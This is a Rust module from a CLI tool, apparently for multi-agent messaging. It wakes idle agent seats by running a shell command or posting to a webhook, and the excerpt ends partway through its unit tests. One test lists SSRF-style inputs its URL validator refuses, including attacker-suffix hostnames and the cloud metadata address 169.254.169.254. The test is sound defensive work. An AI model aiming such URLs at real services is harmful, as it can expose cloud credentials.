Skip to main content

ljos_cli/
wake.rs

1//! Wake a seat when mail reaches it.
2//!
3//! Mail waits in the pack until the recipient's next prompt reads it, and
4//! an idle agent has no next prompt. A seat names how to wake it in
5//! `wake.toml` beside `harnesses.toml`: a command this machine runs, or a
6//! webhook it posts to. `ljos send` and `ljos reply` start that wake in its
7//! own session after the message is written, so the sender neither waits
8//! on it nor fails with it, and the sender needs to know nothing about the
9//! recipient's runner.
10//!
11//! A command runs as `sh -c` with the recipient's seat in `LJOS_SEAT`, so
12//! `ljos inbox` in it reads the recipient's mail. It is read by the same
13//! guard a tool call is, when it is set and again each time it runs, and a
14//! rule that fires is a warning beside it: the command still runs. The
15//! cloud seat push rule is the one refusal, and a wake does not run that
16//! command: nobody is there to land the push.
17//! A webhook gets only the envelope (seat, sender, message id, issue,
18//! interrupt), never the body, and its key is read from a file or an
19//! environment variable, never from `wake.toml`.
20//!
21//! A key that ends in `-` is a prefix. Mail to a longer seat that starts
22//! with it uses that wake, so a run named `ljosbot-review-` plus its run
23//! id wakes the launcher. An exact key wins, and the longest prefix wins
24//! when several match. The envelope still names the run's seat and carries
25//! the matched prefix as `via`.
26//!
27//! In push mode the letter is in this machine's pack and not yet on the
28//! tracker the other machine reads. The detached wake pushes the sealed
29//! log before it runs the command or posts the webhook, so the send
30//! itself does not wait. A refused push is a line in the wake log. The
31//! wake still runs, and the send still stands.
32//!
33//! The envelope carries the tracker commit that holds the log, when push
34//! mode made one. A command sees `LJOS_WAKE_COMMIT`, and a webhook's JSON
35//! has `commit`. The field is absent when no log commit was made. The
36//! other machine fetches that commit with `ljos inbox --sync`, imports
37//! the sealed logs, and then lists. With no remote the flag only lists.
38
39use std::collections::BTreeMap;
40use std::io::Write;
41#[cfg(unix)]
42use std::os::fd::AsRawFd;
43use std::path::{Path, PathBuf};
44use std::time::{Duration, Instant, SystemTime, UNIX_EPOCH};
45
46use anyhow::{bail, Context, Result};
47use serde::{Deserialize, Serialize};
48
49/// How long a wake command may run before it is stopped, in seconds.
50pub const WAKE_TIMEOUT_SECS: u64 = 30;
51
52/// How long a webhook post may take, in seconds.
53const WEBHOOK_TIMEOUT_SECS: u64 = 10;
54
55/// `source` on a wake `ljos cloud up` wrote from `LJOS_WAKE_<SEAT>_URL`.
56pub(crate) const ENV_SOURCE: &str = "env";
57
58/// One seat's wake: a command or a webhook.
59#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)]
60pub struct Wake {
61    /// A shell line this machine runs.
62    #[serde(default, skip_serializing_if = "Option::is_none")]
63    pub command: Option<String>,
64    /// A URL this machine posts the envelope to, such as a Example Host
65    /// routine's webhook.
66    #[serde(default, skip_serializing_if = "Option::is_none")]
67    pub webhook: Option<String>,
68    /// A file holding the webhook's bearer key.
69    #[serde(default, skip_serializing_if = "Option::is_none")]
70    pub key_file: Option<String>,
71    /// An environment variable holding the webhook's bearer key.
72    #[serde(default, skip_serializing_if = "Option::is_none")]
73    pub key_env: Option<String>,
74    /// Seconds before a command is stopped. Absent: [`WAKE_TIMEOUT_SECS`].
75    #[serde(default, skip_serializing_if = "Option::is_none")]
76    pub timeout: Option<u64>,
77    /// Who wrote this entry. [`ENV_SOURCE`] is `ljos cloud up`. Absent means
78    /// a person set it, and a later `cloud up` leaves it alone.
79    #[serde(default, skip_serializing_if = "Option::is_none")]
80    pub source: Option<String>,
81}
82
83/// The message a wake is about.
84#[derive(Debug, Clone, Default, PartialEq, Eq)]
85pub struct Event {
86    pub seat: String,
87    pub from: String,
88    pub msg: String,
89    pub issue: Option<String>,
90    pub interrupt: bool,
91    /// The tracker commit whose tree holds the sealed log, when push
92    /// mode made one. Absent otherwise.
93    pub commit: Option<String>,
94}
95
96/// Where the wakes are kept: `wake.toml` beside `harnesses.toml`.
97#[must_use]
98pub fn path() -> PathBuf {
99    super::harnesses_path().with_file_name("wake.toml")
100}
101
102/// Every seat's wake, keyed by seat or by a prefix (a key ending in `-`).
103/// An absent or unreadable file is no wakes.
104#[must_use]
105pub fn load() -> BTreeMap<String, Wake> {
106    std::fs::read_to_string(path())
107        .ok()
108        .and_then(|text| toml::from_str(&text).ok())
109        .unwrap_or_default()
110}
111
112#[cfg(test)]
113fn load_for_write() -> Result<BTreeMap<String, Wake>> {
114    load_path_for_write(&path())
115}
116
117fn load_path_for_write(wake_path: &Path) -> Result<BTreeMap<String, Wake>> {
118    let text = match std::fs::read_to_string(wake_path) {
119        Ok(text) => text,
120        Err(err) if err.kind() == std::io::ErrorKind::NotFound => return Ok(BTreeMap::new()),
121        Err(err) => {
122            return Err(err).with_context(|| format!("wake: {}", wake_path.display()));
123        }
124    };
125    toml::from_str(&text).with_context(|| format!("wake: parse {}", wake_path.display()))
126}
127
128fn render(table: &BTreeMap<String, Wake>) -> Result<String> {
129    Ok(format!(
130        "# Wakes `ljos send` starts when mail reaches a seat. A name ending in -\n\
131         # matches every longer seat that starts with it. `ljos wake --help` sets them.\n{}",
132        toml::to_string(table)?
133    ))
134}
135
136fn lock_path(wake_path: &Path) -> PathBuf {
137    let mut name = wake_path
138        .file_name()
139        .map(|n| n.to_os_string())
140        .unwrap_or_else(|| "wake.toml".into());
141    name.push(".lock");
142    wake_path.with_file_name(name)
143}
144
145#[cfg(unix)]
146fn lock_exclusive(file: &std::fs::File) -> std::io::Result<()> {
147    let rc = unsafe { libc::flock(file.as_raw_fd(), libc::LOCK_EX) };
148    if rc == 0 {
149        Ok(())
150    } else {
151        Err(std::io::Error::last_os_error())
152    }
153}
154
155#[cfg(not(unix))]
156fn lock_exclusive(_file: &std::fs::File) -> std::io::Result<()> {
157    Ok(())
158}
159
160#[cfg(unix)]
161fn wake_file_mode(wake_path: &Path) -> u32 {
162    use std::os::unix::fs::PermissionsExt;
163
164    std::fs::symlink_metadata(wake_path)
165        .ok()
166        .filter(|meta| meta.file_type().is_file())
167        .map(|meta| meta.permissions().mode() & 0o777)
168        .unwrap_or(0o600)
169}
170
171fn save_atomic(wake_path: &Path, table: &BTreeMap<String, Wake>) -> Result<()> {
172    let text = render(table)?;
173    let dir = wake_path
174        .parent()
175        .context("wake: no directory for wake.toml")?;
176    std::fs::create_dir_all(dir)?;
177    let stamp = SystemTime::now()
178        .duration_since(UNIX_EPOCH)
179        .unwrap_or_default()
180        .as_nanos();
181    let mut tmp_name = wake_path
182        .file_name()
183        .map(|n| n.to_os_string())
184        .unwrap_or_else(|| "wake.toml".into());
185    tmp_name.push(format!(".tmp-{}-{stamp}", std::process::id()));
186    let tmp = dir.join(tmp_name);
187    #[cfg(unix)]
188    let mode = wake_file_mode(wake_path);
189    {
190        let mut options = std::fs::OpenOptions::new();
191        options.create_new(true).write(true);
192        #[cfg(unix)]
193        {
194            use std::os::unix::fs::OpenOptionsExt;
195            options.mode(0o600);
196        }
197        let mut out = options
198            .open(&tmp)
199            .with_context(|| format!("wake: {}", tmp.display()))?;
200        out.write_all(text.as_bytes())
201            .with_context(|| format!("wake: {}", tmp.display()))?;
202        out.sync_all()
203            .with_context(|| format!("wake: {}", tmp.display()))?;
204    }
205    #[cfg(unix)]
206    {
207        use std::os::unix::fs::PermissionsExt;
208        std::fs::set_permissions(&tmp, std::fs::Permissions::from_mode(mode))
209            .with_context(|| format!("wake: mode {mode:04o} {}", tmp.display()))?;
210    }
211    if let Err(err) = std::fs::rename(&tmp, wake_path) {
212        let _ = std::fs::remove_file(&tmp);
213        return Err(err).with_context(|| format!("wake: {}", wake_path.display()));
214    }
215    Ok(())
216}
217
218fn edit_table<T>(edit: impl FnOnce(&mut BTreeMap<String, Wake>) -> Result<(T, bool)>) -> Result<T> {
219    let wake_path = path();
220    if let Some(dir) = wake_path.parent() {
221        std::fs::create_dir_all(dir)?;
222    }
223    let lock_file_path = lock_path(&wake_path);
224    let lock = std::fs::OpenOptions::new()
225        .create(true)
226        .read(true)
227        .write(true)
228        .truncate(false)
229        .open(&lock_file_path)
230        .with_context(|| format!("wake: {}", lock_file_path.display()))?;
231    lock_exclusive(&lock).with_context(|| format!("wake: lock {}", lock_file_path.display()))?;
232    let mut table = load_path_for_write(&wake_path)?;
233    let (out, changed) = edit(&mut table)?;
234    if changed {
235        save_atomic(&wake_path, &table)?;
236    }
237    Ok(out)
238}
239
240/// The rule that fires on a wake command: the seat's own guard, the
241/// trusted computing base (the static check, which includes the commit,
242/// push, and merge gates), then the pack's rules and the ask pack. The
243/// command runs either way, unless the rule is the cloud seat push rule;
244/// `None` is no warning.
245#[must_use]
246pub fn judge(command: &str) -> Option<super::Rule> {
247    match super::seat_guard(command) {
248        Some(rule) => super::policyd_block(command, None).or(Some(rule)),
249        None => super::tcb_verdict(command),
250    }
251    .or_else(|| super::ruled_verdict(&super::rules_for_gate(), command))
252}
253
254/// [`judge`] as the one warning line the wake shows, or nothing. A rule
255/// that [blocks](super::Rule::blocks) is the error that keeps the command
256/// from running.
257fn warning(command: &str) -> Result<String> {
258    match judge(command) {
259        Some(rule) if rule.blocks() => bail!(
260            "the guard says deny on `{command}`: {} (rule: {}). A wake runs with nobody to ask, so it does not run",
261            rule.reason,
262            rule.pattern
263        ),
264        Some(rule) => Ok(format!("{}\n", rule.warning())),
265        None => Ok(String::new()),
266    }
267}
268
269/// `https`, or `http` whose host is exactly `localhost`, an IPv4 loopback
270/// address, or `::1`. The host is parsed, so a name that only begins with
271/// one of those (such as `localhost.attacker.invalid`) is not loopback.
272pub(crate) fn check_webhook(url: &str) -> Result<()> {
273    if !webhook_host_allowed(url) {
274        bail!("wake: {url} is not https, nor http on this machine");
275    }
276    Ok(())
277}
278
279fn webhook_host_allowed(url: &str) -> bool {
280    let Ok(parsed) = url::Url::parse(url) else {
281        return false;
282    };
283    match parsed.scheme() {
284        "https" => parsed.host().is_some(),
285        "http" => http_host_is_loopback(parsed.host()),
286        _ => false,
287    }
288}
289
290fn http_host_is_loopback(host: Option<url::Host<&str>>) -> bool {
291    match host {
292        Some(url::Host::Domain(name)) => name.eq_ignore_ascii_case("localhost"),
293        Some(url::Host::Ipv4(addr)) => addr.is_loopback(),
294        // `Ipv6Addr::is_loopback` is `::1` only, not an IPv4-mapped address.
295        Some(url::Host::Ipv6(addr)) => addr.is_loopback(),
296        None => false,
297    }
298}
299
300/// Set a seat's wake command, with the guard's warning when a rule fires.
301///
302/// # Errors
303///
304/// The command is empty, the cloud seat push rule blocks it, or
305/// `wake.toml` cannot be written.
306pub fn set_command(seat: &str, command: &str, timeout: Option<u64>) -> Result<String> {
307    let command = command.trim();
308    if command.is_empty() {
309        bail!("wake: empty command");
310    }
311    let warned = warning(command).map_err(|why| anyhow::anyhow!("wake: {why}"))?;
312    let next = Wake {
313        command: Some(command.to_string()),
314        timeout,
315        ..Wake::default()
316    };
317    edit_table(|table| {
318        let changed = table.get(seat) != Some(&next);
319        if changed {
320            table.insert(seat.to_string(), next.clone());
321        }
322        Ok(((), changed))
323    })?;
324    Ok(format!(
325        "wake {seat}: runs `{command}` {}\n{warned}",
326        reaches(seat)
327    ))
328}
329
330/// Set a seat's webhook. The key stays in its file or variable.
331///
332/// # Errors
333///
334/// The URL is not https, and not http on localhost or a loopback
335/// address, or `wake.toml` cannot be written.
336pub fn set_webhook(
337    seat: &str,
338    url: &str,
339    key_file: Option<&str>,
340    key_env: Option<&str>,
341) -> Result<String> {
342    let url = url.trim();
343    check_webhook(url)?;
344    let next = Wake {
345        webhook: Some(url.to_string()),
346        key_file: key_file.map(str::to_string),
347        key_env: key_env.map(str::to_string),
348        ..Wake::default()
349    };
350    edit_table(|table| {
351        let changed = table.get(seat) != Some(&next);
352        if changed {
353            table.insert(seat.to_string(), next.clone());
354        }
355        Ok(((), changed))
356    })?;
357    Ok(format!("wake {seat}: posts to {url} {}\n", reaches(seat)))
358}
359
360/// Write the webhook `ljos cloud up` owns for `seat`.
361///
362/// A later run may replace it. [`set_webhook`] leaves `source` empty, so
363/// a wake set by hand is not this one.
364///
365/// # Errors
366///
367/// The URL is not https, and not http on localhost or a loopback
368/// address, or `wake.toml` cannot be written.
369pub(crate) fn set_env_webhook(seat: &str, url: &str, key_env: &str) -> Result<bool> {
370    let url = url.trim();
371    check_webhook(url)?;
372    let next = Wake {
373        webhook: Some(url.to_string()),
374        key_env: Some(key_env.to_string()),
375        source: Some(ENV_SOURCE.to_string()),
376        ..Wake::default()
377    };
378    edit_table(|table| {
379        let hand_set = table
380            .get(seat)
381            .is_some_and(|wake| wake.source.as_deref() != Some(ENV_SOURCE));
382        if hand_set {
383            return Ok((false, false));
384        }
385        let changed = table.get(seat) != Some(&next);
386        if changed {
387            table.insert(seat.to_string(), next.clone());
388        }
389        Ok((true, changed))
390    })
391}
392
393/// Remove one env-owned wake entry.
394///
395/// Returns whether an env-owned entry was present and removed.
396pub(crate) fn clear_env_webhook(seat: &str) -> Result<bool> {
397    edit_table(|table| {
398        let remove = table
399            .get(seat)
400            .is_some_and(|wake| wake.source.as_deref() == Some(ENV_SOURCE));
401        if remove {
402            table.remove(seat);
403        }
404        Ok((remove, remove))
405    })
406}
407
408/// Remove a seat's wake.
409///
410/// # Errors
411///
412/// `wake.toml` cannot be written.
413pub fn clear(seat: &str) -> Result<String> {
414    edit_table(|table| {
415        if table.remove(seat).is_none() {
416            if let Some((key, _)) = resolve(table, seat) {
417                if key != seat {
418                    return Ok((
419                        format!("wake {seat}: none set; matches {key}. clear {key} to remove it\n"),
420                        false,
421                    ));
422                }
423            }
424            return Ok((format!("wake {seat}: none set\n"), false));
425        }
426        Ok((format!("wake {seat}: removed\n"), true))
427    })
428}
429
430/// What a seat's wake is, in one line. A seat with no entry of its own
431/// uses the longest prefix entry, and the line names that prefix.
432#[must_use]
433pub fn show(seat: &str) -> String {
434    let table = load();
435    let Some((key, wake)) = resolve(&table, seat) else {
436        return none_set(seat);
437    };
438    let how = if let Some(command) = &wake.command {
439        format!("runs `{command}`")
440    } else if let Some(url) = &wake.webhook {
441        format!("posts to {url}")
442    } else {
443        return none_set(seat);
444    };
445    if key != seat {
446        format!("wake {seat}: {how} (matches {key})\n")
447    } else if is_prefix_key(key) {
448        format!("wake {seat}: {how} when mail reaches a seat that starts with it\n")
449    } else {
450        format!("wake {seat}: {how}\n")
451    }
452}
453
454fn none_set(seat: &str) -> String {
455    format!(
456        "wake {seat}: none set, so mail waits for its next prompt. `ljos wake --command CMD` sets one\n"
457    )
458}
459
460/// How a newly set wake describes the seats it covers.
461fn reaches(seat: &str) -> &'static str {
462    if is_prefix_key(seat) {
463        "when mail reaches a seat that starts with it"
464    } else {
465        "when mail reaches it"
466    }
467}
468
469/// A key ending in one `-`, with a name before it, matches every longer
470/// seat that starts with that key. `ljosbot-review-` matches
471/// `ljosbot-review-abc` and not `ljosbot-reviewer`.
472fn is_prefix_key(key: &str) -> bool {
473    matches!(key.strip_suffix('-'), Some(stem) if !stem.is_empty() && !stem.ends_with('-'))
474}
475
476/// The wake `seat` runs: its own entry, else the longest prefix entry.
477fn resolve<'a>(table: &'a BTreeMap<String, Wake>, seat: &str) -> Option<(&'a str, &'a Wake)> {
478    if let Some((key, wake)) = table.get_key_value(seat) {
479        return Some((key.as_str(), wake));
480    }
481    // Prefix wakes are only for canonical run seats.
482    if super::seat_slug(seat) != seat {
483        return None;
484    }
485    table
486        .iter()
487        .filter(|(key, _)| {
488            is_prefix_key(key) && seat.len() > key.len() && seat.starts_with(key.as_str())
489        })
490        .max_by_key(|(key, _)| key.len())
491        .map(|(key, wake)| (key.as_str(), wake))
492}
493
494/// The wake a delivered message runs. A prefix key itself is not a seat.
495fn resolve_delivery<'a>(
496    table: &'a BTreeMap<String, Wake>,
497    seat: &str,
498) -> Option<(&'a str, &'a Wake)> {
499    let (key, wake) = resolve(table, seat)?;
500    (key != seat || !is_prefix_key(key)).then_some((key, wake))
501}
502
503fn matched_prefix<'a>(key: &'a str, seat: &str) -> Option<&'a str> {
504    (key != seat && is_prefix_key(key)).then_some(key)
505}
506
507fn launcher_seat(key: &str) -> &str {
508    if is_prefix_key(key) {
509        key.strip_suffix('-').unwrap_or(key)
510    } else {
511        key
512    }
513}
514
515fn wake_target(seat: &str, key: &str) -> String {
516    if let Some(via) = matched_prefix(key, seat) {
517        format!("{} via {via} for {seat}", launcher_seat(via))
518    } else {
519        key.to_string()
520    }
521}
522
523/// `LJOS_TRACKER_GIT=push`, the mode a cloud seat uses. Commit-only and
524/// off leave the log where the sitting's own sync puts it.
525fn push_mode() -> bool {
526    std::env::var("LJOS_TRACKER_GIT").as_deref() == Ok("push")
527}
528
529fn log_path() -> PathBuf {
530    std::env::var_os("XDG_STATE_HOME")
531        .map(PathBuf::from)
532        .or_else(|| std::env::var_os("HOME").map(|h| PathBuf::from(h).join(".local/state")))
533        .unwrap_or_else(|| PathBuf::from(".local/state"))
534        .join("ljos")
535        .join("mail")
536        .join("wake.log")
537}
538
539fn log(line: &str) {
540    let path = log_path();
541    if let Some(dir) = path.parent() {
542        let _ = std::fs::create_dir_all(dir);
543    }
544    if let Ok(mut f) = std::fs::OpenOptions::new()
545        .create(true)
546        .append(true)
547        .open(&path)
548    {
549        let _ = writeln!(f, "{} {line}", super::now_utc());
550    }
551}
552
553/// The `ljos` a detached wake runs. `LJOS_WAKE_BIN` is the test stand-in.
554fn wake_bin() -> Option<String> {
555    if let Some(bin) = std::env::var_os("LJOS_WAKE_BIN").filter(|b| !b.is_empty()) {
556        return Some(bin.to_string_lossy().into_owned());
557    }
558    let me = std::env::current_exe().ok();
559    let beside = me.as_ref().map(|m| m.with_file_name("ljos"));
560    me.filter(|m| m.file_stem().is_some_and(|s| s == "ljos"))
561        .or(beside.filter(|p| p.is_file()))
562        .or_else(|| which::which("ljos").ok())
563        .map(|p| p.display().to_string())
564}
565
566/// Start the wake of each recipient that has one, or whose seat matches a
567/// prefix entry, each in its own session, and name the seats woken.
568/// Nothing here fails the send: a wake that cannot start is a line in the
569/// wake log.
570#[must_use]
571pub fn spawn(events: &[Event]) -> Vec<String> {
572    let table = load();
573    let mut woken = Vec::new();
574    for event in events {
575        let Some((key, _)) = resolve_delivery(&table, &event.seat) else {
576            continue;
577        };
578        let Some(bin) = wake_bin() else {
579            log(&format!("{}: no ljos to run the wake", event.seat));
580            continue;
581        };
582        let mut args = vec![
583            "wake".to_string(),
584            event.seat.clone(),
585            "--fire".into(),
586            "--from".into(),
587            event.from.clone(),
588            "--msg".into(),
589            event.msg.clone(),
590        ];
591        if let Some(issue) = &event.issue {
592            args.push("--issue".into());
593            args.push(issue.clone());
594        }
595        if event.interrupt {
596            args.push("--interrupt".into());
597        }
598        // The detached run writes its outcome to the wake log itself, and
599        // what it prints would only repeat it.
600        match super::detach(&bin, &args, std::path::Path::new("/dev/null")) {
601            Ok(()) => woken.push(wake_target(&event.seat, key)),
602            Err(e) => log(&format!("{}: the wake did not start: {e:#}", event.seat)),
603        }
604    }
605    woken
606}
607
608/// The envelope a webhook gets. The body stays in the pack. When the
609/// log's commit is known, `read` names `ljos inbox --sync COMMIT`.
610#[must_use]
611pub fn envelope(event: &Event) -> serde_json::Value {
612    let seat = crate::tools::sh_quote(&event.seat);
613    let read = match &event.commit {
614        Some(commit) => format!("LJOS_SEAT={seat} ljos inbox --sync {commit}"),
615        None => format!("LJOS_SEAT={seat} ljos inbox"),
616    };
617    let mut v = serde_json::json!({
618        "event": "ljos-mail",
619        "seat": event.seat,
620        "from": event.from,
621        "msg": event.msg,
622        "issue": event.issue,
623        "interrupt": event.interrupt,
624        "read": read,
625    });
626    if let Some(commit) = &event.commit {
627        v["commit"] = serde_json::Value::String(commit.clone());
628    }
629    v
630}
631
632fn webhook_key(wake: &Wake) -> Option<String> {
633    let from_file = wake.key_file.as_deref().and_then(|p| {
634        let path = p
635            .strip_prefix("~/")
636            .and_then(|rest| std::env::var_os("HOME").map(|h| PathBuf::from(h).join(rest)))
637            .unwrap_or_else(|| PathBuf::from(p));
638        std::fs::read_to_string(path).ok()
639    });
640    from_file
641        .or_else(|| wake.key_env.as_deref().and_then(|v| std::env::var(v).ok()))
642        .map(|k| k.trim().to_string())
643        .filter(|k| !k.is_empty())
644}
645
646fn run_command(command: &str, event: &Event, timeout: Duration) -> Result<String> {
647    let warned = warning(command)?;
648    let mut cmd = std::process::Command::new("sh");
649    cmd.arg("-c")
650        .arg(command)
651        .env("LJOS_SEAT", &event.seat)
652        .env("LJOS_WAKE_SEAT", &event.seat)
653        .env("LJOS_WAKE_FROM", &event.from)
654        .env("LJOS_WAKE_MSG", &event.msg)
655        .env("LJOS_WAKE_ISSUE", event.issue.as_deref().unwrap_or(""))
656        .env(
657            "LJOS_WAKE_INTERRUPT",
658            if event.interrupt { "1" } else { "0" },
659        )
660        .stdin(std::process::Stdio::null());
661    match &event.commit {
662        Some(commit) => {
663            cmd.env("LJOS_WAKE_COMMIT", commit);
664        }
665        None => {
666            cmd.env_remove("LJOS_WAKE_COMMIT");
667        }
668    }
669    // What the command prints goes to the wake log, above the line that
670    // says how it ended.
671    let path = log_path();
672    if let Some(dir) = path.parent() {
673        let _ = std::fs::create_dir_all(dir);
674    }
675    if let Ok(mut out) = std::fs::OpenOptions::new()
676        .create(true)
677        .append(true)
678        .open(&path)
679    {
680        let _ = out.write_all(warned.as_bytes());
681        if let Ok(err) = out.try_clone() {
682            cmd.stdout(out).stderr(err);
683        }
684    }
685    let mut child = cmd.spawn().context("start the wake command")?;
686    let started = Instant::now();
687    loop {
688        if let Some(status) = child.try_wait()? {
689            if status.success() {
690                return Ok(format!("ran in {} ms", started.elapsed().as_millis()));
691            }
692            bail!("exited {status}");
693        }
694        if started.elapsed() >= timeout {
695            // The child's own pid, which this process started.
696            let _ = child.kill();
697            let _ = child.wait();
698            bail!("stopped after {} ms", timeout.as_millis());
699        }
700        std::thread::sleep(Duration::from_millis(20));
701    }
702}
703
704fn post(url: &str, wake: &Wake, event: &Event, via: Option<&str>) -> Result<String> {
705    check_webhook(url)?;
706    let agent = ureq::AgentBuilder::new()
707        .timeout(Duration::from_secs(WEBHOOK_TIMEOUT_SECS))
708        .redirects(0)
709        .build();
710    let mut req = agent.post(url).set("Content-Type", "application/json");
711    if let Some(key) = webhook_key(wake) {
712        req = req.set("Authorization", &format!("Bearer {key}"));
713    }
714    let started = Instant::now();
715    let mut envelope = envelope(event);
716    if let Some(via) = via {
717        envelope["via"] = serde_json::Value::String(via.to_string());
718    }
719    let resp = req.send_string(&envelope.to_string()).map_err(|e| {
720        anyhow::anyhow!("POST {url}: {}", e.to_string().replace(url, "the webhook"))
721    })?;
722    if (300..400).contains(&resp.status()) {
723        bail!(
724            "POST the webhook: refused redirect status {}",
725            resp.status()
726        );
727    }
728    Ok(format!(
729        "posted, {} in {} ms",
730        resp.status(),
731        started.elapsed().as_millis()
732    ))
733}
734
735/// Run one seat's wake now and say what happened. A prefix entry matches
736/// a longer seat that starts with it. The outcome is also a line in the
737/// wake log, since a detached wake has nobody to tell.
738///
739/// In push mode the sealed log is pushed first, from this process, which
740/// `send` and `reply` have already detached. The other machine can then
741/// read the letter. A push that does not land is recorded here and does
742/// not stop the wake. The envelope then names the commit that holds the
743/// log, including when the push was refused and the commit stayed local.
744///
745/// # Errors
746///
747/// The seat has no wake, policyd blocks its command, or the command or
748/// the post fails.
749pub fn fire(event: &Event) -> Result<String> {
750    let table = load();
751    let Some((key, wake)) = resolve_delivery(&table, &event.seat) else {
752        bail!("wake: {} has no wake set", event.seat);
753    };
754    let via = matched_prefix(key, &event.seat);
755    let named = wake_target(&event.seat, key);
756    // The letter is already in the pack. Pushing here, rather than in
757    // `send`, keeps the sender's wait to the detach. The other host's
758    // inbox stays empty until this push is on the remote. The commit is
759    // read after the push, so a refusal still names the local log.
760    let mut carried = event.clone();
761    if push_mode() {
762        if let Err(why) = super::sync::push_sealed_log() {
763            log(&format!("{}: {why:#}", carried.seat));
764        }
765        carried.commit = super::sync::log_commit();
766    }
767    let outcome = if let Some(command) = &wake.command {
768        let timeout = Duration::from_secs(wake.timeout.unwrap_or(WAKE_TIMEOUT_SECS).max(1));
769        run_command(command, &carried, timeout)
770    } else if let Some(url) = &wake.webhook {
771        post(url, wake, &carried, via)
772    } else {
773        Err(anyhow::anyhow!("neither a command nor a webhook"))
774    };
775    match outcome {
776        Ok(said) => {
777            log(&format!("{named} {}: {said}", carried.msg));
778            Ok(format!("wake {named}: {said}\n"))
779        }
780        Err(e) => {
781            log(&format!("{named} {}: {e:#}", carried.msg));
782            Err(e).context(format!("wake {named}"))
783        }
784    }
785}
786
787#[cfg(test)]
788mod tests {
789    use super::*;
790
791    #[test]
792    fn a_wake_reads_back_as_written_and_keeps_no_key() {
793        let mut table = BTreeMap::new();
794        table.insert(
795            "grok".to_string(),
796            Wake {
797                webhook: Some("https://api2.cursor.sh/automations/webhook/abc".into()),
798                key_file: Some("~/.config/ljos/grok.key".into()),
799                ..Wake::default()
800            },
801        );
802        table.insert(
803            "claude-review".to_string(),
804            Wake {
805                command: Some("claude -p --resume \"$SESSION\" 'ljos inbox'".into()),
806                timeout: Some(120),
807                ..Wake::default()
808            },
809        );
810        table.insert(
811            "ljosbot-review-".to_string(),
812            Wake {
813                webhook: Some("https://example.test/launch".into()),
814                key_env: Some("LJOS_WAKE_LAUNCHER_KEY".into()),
815                ..Wake::default()
816            },
817        );
818        let text = toml::to_string(&table).unwrap();
819        assert!(!text.contains("key ="), "{text}");
820        let back: BTreeMap<String, Wake> = toml::from_str(&text).unwrap();
821        assert_eq!(back, table);
822    }
823
824    #[test]
825    fn a_webhook_gets_the_envelope_and_not_the_body() {
826        let event = Event {
827            seat: "grok".into(),
828            from: "saddle".into(),
829            msg: "m1".into(),
830            issue: Some("Software-d9n6".into()),
831            interrupt: true,
832            commit: None,
833        };
834        let v = envelope(&event);
835        assert_eq!(v["seat"], "grok");
836        assert_eq!(v["msg"], "m1");
837        assert_eq!(v["interrupt"], true);
838        assert!(v.get("commit").is_none(), "{v}");
839        assert_eq!(v["read"], "LJOS_SEAT='grok' ljos inbox");
840        assert!(v.get("body").is_none() && v.get("text").is_none(), "{v}");
841        let named = Event {
842            commit: Some("0123456789abcdef0123456789abcdef01234567".into()),
843            ..event
844        };
845        let named_v = envelope(&named);
846        assert_eq!(
847            named_v["commit"],
848            "0123456789abcdef0123456789abcdef01234567"
849        );
850        assert_eq!(
851            named_v["read"],
852            "LJOS_SEAT='grok' ljos inbox --sync 0123456789abcdef0123456789abcdef01234567"
853        );
854        assert!(check_webhook("http://example.com/hook").is_err());
855        assert!(check_webhook("https://api2.cursor.sh/automations/webhook/x").is_ok());
856        assert!(check_webhook("http://127.0.0.1:9/hook").is_ok());
857    }
858
859    #[test]
860    fn http_is_loopback_only_and_an_attacker_suffix_is_refused() {
861        for url in [
862            "http://localhost.attacker.invalid/hook",
863            "http://127.0.0.1.attacker.invalid/hook",
864            "http://localhost@attacker.invalid/hook",
865            "http://127.0.0.1@attacker.invalid/hook",
866            "http://example.com/hook",
867            "http://169.254.169.254/latest/meta-data",
868            "http://0.0.0.0/hook",
869            "http://[::2]/hook",
870        ] {
871            assert!(check_webhook(url).is_err(), "{url}");
872        }
873        for url in [
874            "https://api2.cursor.sh/automations/webhook/x",
875            "https://localhost.attacker.invalid/hook",
876            "http://127.0.0.1:9/hook",
877            "http://127.0.0.2/hook",
878            "http://2130706433/hook",
879            "http://localhost/hook",
880            "http://localhost:9/hook",
881            "http://[::1]/hook",
882            "http://[::1]:9/hook",
883            "http://[0:0:0:0:0:0:0:1]/hook",
884            "http://user:secret@127.0.0.1/hook",
885        ] {
886            assert!(check_webhook(url).is_ok(), "{url}");
887        }
888    }
889
890    #[test]
891    fn a_wake_that_runs_past_its_timeout_is_stopped() {
892        let event = Event {
893            seat: "slow".into(),
894            ..Event::default()
895        };
896        let started = Instant::now();
897        let err = run_command("sleep 5", &event, Duration::from_millis(300)).unwrap_err();
898        assert!(err.to_string().contains("stopped after"), "{err}");
899        assert!(started.elapsed() < Duration::from_secs(3));
900        let ok = run_command("test \"$LJOS_SEAT\" = slow", &event, Duration::from_secs(5));
901        assert!(ok.is_ok(), "{ok:?}");
902    }
903
904    fn hook(url: &str) -> Wake {
905        Wake {
906            webhook: Some(url.to_string()),
907            ..Wake::default()
908        }
909    }
910
911    fn matched<'a>(table: &'a BTreeMap<String, Wake>, seat: &str) -> Option<&'a str> {
912        resolve(table, seat).map(|(key, _)| key)
913    }
914
915    #[test]
916    fn a_prefix_matches_a_run_and_an_exact_name_wins() {
917        let mut table = BTreeMap::new();
918        table.insert("inky".into(), hook("https://example.test/inky"));
919        table.insert("ljosbot-".into(), hook("https://example.test/ljosbot"));
920        table.insert(
921            "ljosbot-review-".into(),
922            hook("https://example.test/review"),
923        );
924        table.insert(
925            "ljosbot-review-abc".into(),
926            hook("https://example.test/exact"),
927        );
928        table.insert("-".into(), hook("https://example.test/bare"));
929        table.insert("--".into(), hook("https://example.test/dashes"));
930        table.insert("a--".into(), hook("https://example.test/double"));
931
932        assert!(is_prefix_key("ljosbot-review-"));
933        assert!(is_prefix_key("a-"));
934        assert!(!is_prefix_key("ljosbot-review"));
935        assert!(!is_prefix_key("-"));
936        assert!(!is_prefix_key("--"));
937        assert!(!is_prefix_key("a--"));
938
939        assert_eq!(matched(&table, "inky"), Some("inky"));
940        assert_eq!(
941            matched(&table, "ljosbot-review-def"),
942            Some("ljosbot-review-")
943        );
944        assert_eq!(matched(&table, "ljosbot-fix-1"), Some("ljosbot-"));
945        // `ljosbot-` is a prefix of this seat too. The review prefix is longer.
946        assert_eq!(matched(&table, "ljosbot-reviewer"), Some("ljosbot-"));
947        assert_eq!(
948            matched(&table, "ljosbot-review-abc"),
949            Some("ljosbot-review-abc")
950        );
951        assert_eq!(matched(&table, "ljosbot"), None);
952        assert_eq!(matched(&table, "inky-2"), None);
